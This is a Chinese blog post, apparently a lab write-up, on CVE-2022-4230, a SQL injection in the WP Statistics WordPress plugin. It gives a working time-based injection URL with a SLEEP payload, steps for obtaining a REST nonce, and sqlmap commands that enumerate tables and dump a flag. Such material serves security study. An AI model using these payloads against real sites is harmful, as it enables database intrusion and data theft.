当前位置: 首页 > news >正文

CVE-2022-4230

CVE-2022-4230

漏洞介绍

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它

知识补充

WordPress是一种CMS系统,在 WordPress 中,所有提交表单的数据都应包含一个 _wpnonce 字段,以防止未经授权的表单提交。Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,通过REST API来访问,每次都给发送一个_wpnonce来进行认证

概念验证

以具有查看 WP 统计权限的用户身份登录,并通过 https://example.com/wp-admin/admin-ajax.php?action=rest-nonce 获取一个 nonce,然后在以下 URL 中使用它,该 URL 将延迟 5 秒

里面的nonce需要通过返回的随机数值替换

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

漏洞分析

https://www.cnblogs.com/F12-blog/p/18170169

开始实验

打开靶场空白一片

想想可以访问/wp-admin/admin-ajax.php?action=rest-nonce 来获得nonce,访问试试

good,回显个0,说明可能存在其他条件限制返回nonce,扫一扫

存在一个/readme.html,访问看看

存在一个登录界面,尝试登录

用户/密码:test/test

再次尝试 /wp-admin/admin-ajax.php?action=rest-nonce

成功返回随机数,修改nonce

访问

/wp-json/wp-statistics/v2/metabox?_wpnonce=4d916dc27a&name=words&search_engine=aaa' AND (SELECT 5671 FROM (SELECT(SLEEP(5)))Mdgs)-- HsBR

抓包,使用sqlmap开始注入

查询当前数据库

python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --batch --current-db

 

爆表

python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --batch -D wordpress --tables

查询flag表后,发现flag字段,查询flag字段

python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt  -D wordpress -T flag -C flag --dump

 

 

相关文章:

  • 【TB作品】MSP430F149 单片机 音乐喷泉
  • Spring Cloud工程添加子模块打包后文件为war包而非jar包
  • C语言小例程6/100
  • 【Linux】线程控制
  • MongoDB CRUD操作:地理位置查询
  • 操作系统教材第6版——个人笔记6
  • WPF国际化的最佳实践
  • SASS模块化与组织文件
  • 5-Maven-setttings和pom.xml常用配置一览
  • c#vb代码互转工具
  • SpringBoot+Vue校园管理系统(前后端分离)
  • MySQL分页:ROW_NUMBER() vs LIMIT
  • 【JMeter接口测试工具】第一节.JMeter简介和安装【入门篇】
  • vue 文件预览mp4、txt、pptx、xls、xlsx、docx、pdf、html、xml
  • SAP Build引言
  • JavaScript 如何正确处理 Unicode 编码问题!
  • 《Javascript数据结构和算法》笔记-「字典和散列表」
  • 【108天】Java——《Head First Java》笔记(第1-4章)
  • 【MySQL经典案例分析】 Waiting for table metadata lock
  • CoolViewPager:即刻刷新,自定义边缘效果颜色,双向自动循环,内置垂直切换效果,想要的都在这里...
  • Date型的使用
  • Fundebug计费标准解释:事件数是如何定义的?
  • Leetcode 27 Remove Element
  • Linux后台研发超实用命令总结
  • MYSQL如何对数据进行自动化升级--以如果某数据表存在并且某字段不存在时则执行更新操作为例...
  • Otto开发初探——微服务依赖管理新利器
  • Puppeteer:浏览器控制器
  • session共享问题解决方案
  • Vue--数据传输
  • vue自定义指令实现v-tap插件
  • 大整数乘法-表格法
  • 前端面试题总结
  • 时间复杂度与空间复杂度分析
  • 小试R空间处理新库sf
  • puppet连载22:define用法
  • ​云纳万物 · 数皆有言|2021 七牛云战略发布会启幕,邀您赴约
  • # centos7下FFmpeg环境部署记录
  • #、%和$符号在OGNL表达式中经常出现
  • (55)MOS管专题--->(10)MOS管的封装
  • (AngularJS)Angular 控制器之间通信初探
  • (done) NLP “bag-of-words“ 方法 (带有二元分类和多元分类两个例子)词袋模型、BoW
  • (python)数据结构---字典
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (附源码)spring boot北京冬奥会志愿者报名系统 毕业设计 150947
  • (附源码)springboot美食分享系统 毕业设计 612231
  • (附源码)ssm智慧社区管理系统 毕业设计 101635
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (力扣)循环队列的实现与详解(C语言)
  • (十五)Flask覆写wsgi_app函数实现自定义中间件
  • (四)Tiki-taka算法(TTA)求解无人机三维路径规划研究(MATLAB)
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • (一)WLAN定义和基本架构转
  • (杂交版)植物大战僵尸
  • (转)大型网站架构演变和知识体系